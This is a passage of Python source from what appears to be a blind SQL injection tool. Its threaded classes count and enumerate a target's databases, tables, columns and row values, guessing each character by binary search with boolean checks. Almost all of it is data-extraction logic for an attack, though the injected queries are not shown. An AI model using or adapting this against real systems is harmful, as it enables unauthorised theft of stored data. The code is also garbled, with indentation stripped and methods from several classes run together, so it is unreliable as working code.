def get_tables(self):
table_count = self.get_count()
core.println("Found %d tables\n" % table_count)
table_brute_forcers = []
for i in range(table_count):
table_brute_forcer = TableBruteForcer(self.database, i + 1)
table_brute_forcer.start()
table_brute_forcer.join()
table_brute_forcers.append(table_brute_forcer)
self.tables = []
for table_brute_forcer in table_brute_forcers:
# table_brute_forcer.join()
core.println("Found table: %s" % table_brute_forcer.get_name())
self.tables.append(Table(table_brute_forcer.get_name()))
def get_databases(self):
database_count = self.get_count()
core.println("Found %d databases\n" % database_count)
database_brute_forcers = []
for i in range(database_count):
database_brute_forcer = DatabaseBruteForcer(i + 1)
database_brute_forcer.start()
database_brute_forcer.join()
database_brute_forcers.append(database_brute_forcer)
self.databases = []
for database_brute_forcer in database_brute_forcers:
# database_brute_forcer.join()
core.println("Found database: %s" %
database_brute_forcer.get_name())
self.databases.append(Database(database_brute_forcer.get_name()))
def get_columns(self):
column_count = self.get_count()
core.println("Found %d columns\n" % column_count)
column_brute_forcers = []
for i in range(column_count):
column_brute_forcer = ColumnBruteForcer(self.database, self.table,
i + 1)
column_brute_forcer.start()
column_brute_forcer.join()
column_brute_forcers.append(column_brute_forcer)
self.columns = []
for column_brute_forcer in column_brute_forcers:
# column_brute_forcer.join()
core.println("Found column: %s" % column_brute_forcer.get_name())
self.columns.append(Column(column_brute_forcer.get_name()))
def get_values(self):
value_count = self.get_count()
# value_count = 5
core.println("Found %d values\n" % value_count)
value_brute_forcers = []
for i in range(value_count):
value_brute_forcer = ValueBruteForcer(self.database, self.table,
self.column, i + 1)
value_brute_forcer.start()
value_brute_forcer.join()
value_brute_forcers.append(value_brute_forcer)
self.values = []
for value_brute_forcer in value_brute_forcers:
# value_brute_forcer.join()
core.println("Found value: %s" % value_brute_forcer.get_value())
self.values.append(value_brute_forcer.get_value())
def get_characters(self):
self.found_characters = ""
self.character_count = self.get_length()
for j in range((self.character_count // 10) + 1):
table_character_testers = []
for i in range(j * 10, (j + 1) * 10):
if i < self.character_count:
table_character_tester = TableCharacterTester(
self.database, i + 1, self.index)
table_character_tester.start()
table_character_testers.append(table_character_tester)
for table_character_tester in table_character_testers:
table_character_tester.join()
self.found_characters += chr(table_character_tester.character)
core.println("Found table name at index %d is %s" %
(self.index, self.found_characters))
def get_characters(self):
self.found_characters = ""
self.character_count = self.get_length()
for j in range((self.character_count // 10) + 1):
column_character_testers = []
for i in range(j * 10, (j + 1) * 10):
if i < self.character_count:
column_character_tester = ColumnCharacterTester(
self.database, self.table, i + 1, self.index)
column_character_tester.start()
column_character_testers.append(column_character_tester)
for column_character_tester in column_character_testers:
column_character_tester.join()
self.found_characters += chr(column_character_tester.character)
core.println("Found column name at index %d is %s" %
(self.index, self.found_characters))
def get_characters(self):
self.found_characters = ""
self.character_count = self.get_length()
for j in range((self.character_count // 10) + 1):
value_character_testers = []
for i in range(j * 10, (j + 1) * 10):
if i < self.character_count:
value_character_tester = ValueCharacterTester(
self.database, self.table, self.column, i + 1,
self.index)
value_character_tester.start()
# value_character_tester.join()
value_character_testers.append(value_character_tester)
for value_character_tester in value_character_testers:
value_character_tester.join()
self.found_characters += chr(value_character_tester.character)
core.println("Found value for row %d column %s is %s" %
(self.index, self.column, self.found_characters))
def get_char(self):
min_char = 1
max_char = 128
character = (min_char + max_char) / 2
while True:
length_check = self.test_character(character, self.position)
core.println(
"Checked character %d for index %d for position %d: %s" %
(character, self.index, self.position, length_check))
if length_check:
min_char = character
else:
max_char = character - 1
if min_char == max_char or max_char - min_char == 1:
min_length_check = self.test_character(min_char, self.position,
"=")
if min_length_check:
core.println(
"Found character %d for index %d for position %d" %
(min_char, self.index, self.position))
return min_char
max_length_check = self.test_character(max_char, self.position,
"=")
if max_length_check:
core.println(
"Found character %d for index %d for position %d" %
(max_char, self.index, self.position))
return max_char
return -1
character = (min_char + max_char) / 2
return -1
def get_count(self):
min_count = 1
max_count = 1024
count = (min_count + max_count) / 2
while True:
count_check = self.check_count(count)
core.println("Checked count %d: %s" % (count, count_check))
if count_check:
min_count = count
else:
max_count = count - 1
if min_count == max_count or max_count - min_count == 1:
min_count_check = self.check_count(min_count, "=")
if min_count_check:
core.println("Found count %d" % min_count)
return min_count
max_count_check = self.check_count(max_count, "=")
if max_count_check:
core.println("Found count %d" % max_count)
return max_count
break
count = (min_count + max_count) / 2
return -1
def get_length(self):
min_count = 1
max_count = 64
count = (min_count + max_count) / 2
while True:
count_check = self.check_count(count)
core.println("Checked database length for index %d count %d: %s" %
(self.index, count, count_check))
if count_check:
min_count = count
else:
max_count = count - 1
if min_count == max_count or max_count - min_count == 1:
min_count_check = self.check_count(min_count, "=")
if min_count_check:
core.println(
"Found database length for index %d count %d" %
(self.index, min_count))
return min_count
max_count_check = self.check_count(max_count, "=")
if max_count_check:
core.println(
"Found database length for index %d count %d" %
(self.index, max_count))
return max_count
break
count = (min_count + max_count) / 2
return -1
